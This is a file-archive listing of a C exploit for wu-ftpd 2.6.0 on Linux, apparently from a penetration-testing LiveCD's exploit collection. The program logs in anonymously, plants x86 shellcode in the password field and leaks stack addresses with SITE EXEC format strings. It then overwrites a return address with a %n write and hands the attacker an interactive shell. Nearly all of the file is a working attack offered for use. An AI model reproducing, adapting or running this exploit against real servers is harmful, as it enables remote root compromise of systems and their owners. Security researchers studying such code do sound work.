home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wuftpd / wu-lnx.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  253 lines

  1. /*
  2.  * Linux wu-ftpd - 2.6.0(1) (tested on RH6.2 wu from rpm)
  3.  *
  4.  * vsz_
  5.  */
  6.  
  7. #include <sys/socket.h>
  8. #include <sys/types.h>
  9. #include <stdio.h>
  10. #include <netinet/in.h>
  11. #include <netdb.h>
  12.  
  13. char linuxcode[] =
  14.   "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
  15.   "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
  16.   "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
  17.   "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
  18.   "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
  19.   "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
  20.   "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
  21.   "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
  22.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
  23.   "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
  24.   "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";
  25.  
  26.  
  27. main (int argc, char *argv[])
  28. {
  29.  
  30.   char cmdbuf[8192];
  31.   char cbuf[1024];
  32.   char *t;
  33.   char nop[400];
  34.   int pip, i, a = 22, st = 0;
  35.   struct sockaddr_in sck;
  36.   struct hostent *hp;
  37.   long inet;
  38.   int port = 21;
  39.   fd_set fds;
  40.   unsigned int aa;
  41.   long reta, retb, tmp, retz;
  42.   int ret;
  43.   int add = 0;
  44.  
  45.   memset (cmdbuf, 0x0, sizeof (cmdbuf));
  46.   memset (cbuf, 0x0, sizeof (cbuf));
  47.   memset (nop, 0x0, sizeof (nop));
  48.  
  49.   if (argc < 2)
  50.     {
  51.       fprintf (stderr, "Usage: %s [ip] \n", argv[0]);
  52.       exit (-1);
  53.     }
  54.  
  55.   pip = socket (PF_INET, SOCK_STREAM, 0);
  56.  
  57.   if (!pip)
  58.     {
  59.       perror ("socket()");
  60.       exit (-1);
  61.     }
  62.  
  63.   inet = inet_addr (argv[1]);
  64.   if (inet == -1)
  65.     {
  66.       if (hp = gethostbyname (argv[1]))
  67.     memcpy (&inet, hp->h_addr, 4);
  68.       else
  69.     inet = -1;
  70.       if (inet == -1)
  71.     {
  72.       fprintf (stderr, "Cant resolv %s!! \n", argv[1]);
  73.       exit (-1);
  74.     }
  75.     }
  76.   sck.sin_family = PF_INET;
  77.   sck.sin_port = htons (port);
  78.   sck.sin_addr.s_addr = inet;
  79.  
  80.   if (connect (pip, (struct sockaddr *) &sck, sizeof (sck)) < 0)
  81.     {
  82.       perror ("Connect() ");
  83.       exit (-1);
  84.     }
  85.  
  86.   read (pip, cbuf, 1023);
  87.   fprintf (stderr, "Connected to: %s \n", argv[1]);
  88.   fprintf (stderr, "Banner: %s \n", cbuf);
  89.   strcpy (cmdbuf, "user ftp\n");
  90.   write (pip, cmdbuf, strlen (cmdbuf));
  91.   memset (nop, 0x90, sizeof (nop) - strlen (linuxcode) - 10);
  92.  
  93.   strcat (nop, linuxcode);
  94.  
  95.   memset (cmdbuf, 0x0, sizeof (cmdbuf));
  96.   sprintf (cmdbuf, "pass %s\n", nop);
  97.   write (pip, cmdbuf, strlen (cmdbuf));
  98.   sleep (1);
  99.   read (pip, cmdbuf, sizeof (cmdbuf) - 1);
  100.   memset (cmdbuf, 0x0, sizeof (cmdbuf));
  101.   if (!strncmp (cmdbuf, "530", 3))
  102.     {
  103.       printf ("loggin incorrect : %s \n", cmdbuf);
  104.       exit (-1);
  105.     }
  106.   fprintf (stderr, "Logged in.. \n");
  107.   fprintf (stderr, "+ Finding ret addresses \n");
  108.   memset (cmdbuf, 0x0, sizeof (cmdbuf));
  109.   strcpy (cmdbuf, "SITE EXEC %x %x %x %x +%x |%x\n");
  110.   write (pip, cmdbuf, strlen (cmdbuf));
  111.   sleep (1);
  112.   memset (cmdbuf, 0x0, sizeof (cmdbuf));
  113.   read (pip, cmdbuf, sizeof (cmdbuf) - 1);
  114.   if (!strncmp (cmdbuf + 4, "%x", 2))
  115.     {
  116.       fprintf (stderr, "Wuftpd is not vulnerable : %s \n",
  117.            cmdbuf);
  118.       exit (-1);
  119.     }
  120.   else
  121.     {
  122.       fprintf (stderr, "Wuftpd is vulnerable : %s \n", cmdbuf);
  123.     }
  124.   reta = strtoul (strstr (cmdbuf, "|") + 1, strstr (cmdbuf, "|") + 11, 16);
  125.   retz = strtoul (strstr (cmdbuf, "+") + 1, strstr (cmdbuf, "|") + 11, 16);
  126.  
  127.   memset (cmdbuf, 0x0, sizeof (cmdbuf));
  128.   strcpy (cmdbuf, "SITE EXEC ");
  129.   for (ret = 0; ret <= 88; ret++)
  130.     {
  131.       strcat (cmdbuf, "%x");
  132.     }
  133.   strcat (cmdbuf, "|%x\n");
  134.   write (pip, cmdbuf, strlen (cmdbuf));
  135.   sleep (1);
  136.   memset (cmdbuf, 0x0, sizeof (cmdbuf));
  137.   read (pip, cmdbuf, sizeof (cmdbuf) - 1);
  138.   retb = strtoul (strstr (cmdbuf, "|") + 1, strstr (cmdbuf, "|") + 11, 16);
  139.   printf ("Ret location befor: %x \n", reta);
  140.   if (reta == 0)
  141.     reta = retz;
  142.   else
  143.     add = 600;
  144.   reta = reta - 0x58;
  145.   retb = retb + 100 - 0x2569 - add;
  146.   printf ("Ret      location : %x \n", reta);
  147.   printf ("Proctitle addres  : %x and %u \n", retb, retb);
  148.   sleep (2);
  149.   memset (cmdbuf, 0x0, sizeof (cmdbuf));
  150.  
  151.   sprintf (cmdbuf, "SITE EXEC aaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c",
  152.        (reta & 0x000000ff), (reta & 0x0000ff00) >> 8,
  153.        (reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24);
  154.   a = 22;
  155.   memset (cbuf, 0x0, sizeof (cbuf));
  156.   while (1)
  157.     {
  158.  
  159.       memset (cmdbuf, 0x0, sizeof (cmdbuf));
  160.  
  161.       sprintf (cmdbuf, "SITE EXEC aaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c",
  162.            (reta & 0x000000ff), (reta & 0x0000ff00) >> 8,
  163.            (reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24);
  164.       for (i = 0; i <= 128; i++)
  165.     strcat (cmdbuf, "%.f");
  166.       for (i = 0; i <= a; i++)
  167.     strcat (cmdbuf, "%d");
  168.       sprintf (cbuf, "|%%x|%%x\n", aa + 9807 - 460);
  169.       strcat (cmdbuf, cbuf);
  170.       write (pip, cmdbuf, strlen (cmdbuf));
  171.       memset (cmdbuf, 0x0, sizeof (cmdbuf));
  172.       read (pip, cmdbuf, sizeof (cmdbuf) - 1);
  173.       t = (char *) strstr (cmdbuf, "|");
  174.       tmp = strtoul (t + 1, t + 11, 16);
  175.       if (tmp != 0)
  176.     {
  177.       fprintf (stderr, "tmp 1  : 0x%x\n", tmp);
  178.       if (tmp == reta)
  179.         {
  180.           fprintf (stderr, "Cached a : %d \n", a);
  181.           st = 1;
  182.           break;
  183.         }
  184.       tmp = strtoul (t + 11, t + 22, 16);
  185.       fprintf (stderr, "tmp 2  : 0x%x\n", tmp);
  186.       if (tmp == reta)
  187.         {
  188.           fprintf (stderr, "Cached a : %d \n", a);
  189.           st = 2;
  190.           break;
  191.         }
  192.     }
  193.       if (st > 0)
  194.     break;
  195.       a++;
  196.     }
  197.   sleep (1);
  198.   memset (cmdbuf, 0x0, sizeof (cmdbuf));
  199.   memset (cbuf, 0x0, sizeof (cbuf));
  200.  
  201.   sprintf (cmdbuf, "SITE EXEC aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c",
  202.        (reta & 0x000000ff), (reta & 0x0000ff00) >> 8,
  203.        (reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24);
  204.   for (i = 0; i <= 128; i++)
  205.     strcat (cmdbuf, "%.f");
  206.   if (add != 600)
  207.     a = a - 1;
  208.   fprintf (stderr, "Trying with : %d \n", a);
  209.   for (i = 0; i <= a; i++)
  210.     strcat (cmdbuf, "%d");
  211.  
  212.   aa = retb;
  213.   if (add == 600)
  214.     sprintf (cbuf, "|%%.%ud%%n\n", aa + 9807);
  215.   else
  216.     sprintf (cbuf, "|%%.%ud%%n\n", aa + 9807 - 480);
  217.  
  218.   strcat (cmdbuf, cbuf);
  219.   write (pip, cmdbuf, strlen (cmdbuf));
  220.   memset (cmdbuf, 0x0, sizeof (cmdbuf));
  221.   read (pip, cmdbuf, sizeof (cmdbuf) - 1);
  222.   memset (cmdbuf, 0x0, sizeof (cmdbuf));
  223.  
  224.   fprintf (stderr, " Wait for a shell.....\n");
  225.  
  226.  
  227.   while (1)
  228.     {
  229.       FD_ZERO (&fds);
  230.       FD_SET (0, &fds);
  231.       FD_SET (pip, &fds);
  232.       select (255, &fds, NULL, NULL, NULL);
  233.       if (FD_ISSET (pip, &fds))
  234.     {
  235.       memset (cbuf, 0x0, sizeof (cbuf));
  236.       ret = read (pip, cbuf, sizeof (cbuf) - 1);
  237.       if (ret <= 0)
  238.         {
  239.           printf ("Connection closed - EOF \n");
  240.           exit (-1);
  241.         }
  242.       printf ("%s", cbuf);
  243.     }
  244.       if (FD_ISSET (0, &fds))
  245.     {
  246.       memset (cbuf, 0x0, sizeof (cbuf));
  247.       read (0, cbuf, sizeof (cbuf) - 1);
  248.       write (pip, cbuf, strlen (cbuf));
  249.     }
  250.     }
  251.   close (pip);
  252. }
  253. /*                   www.hack.co.za   [26 September 2000]*/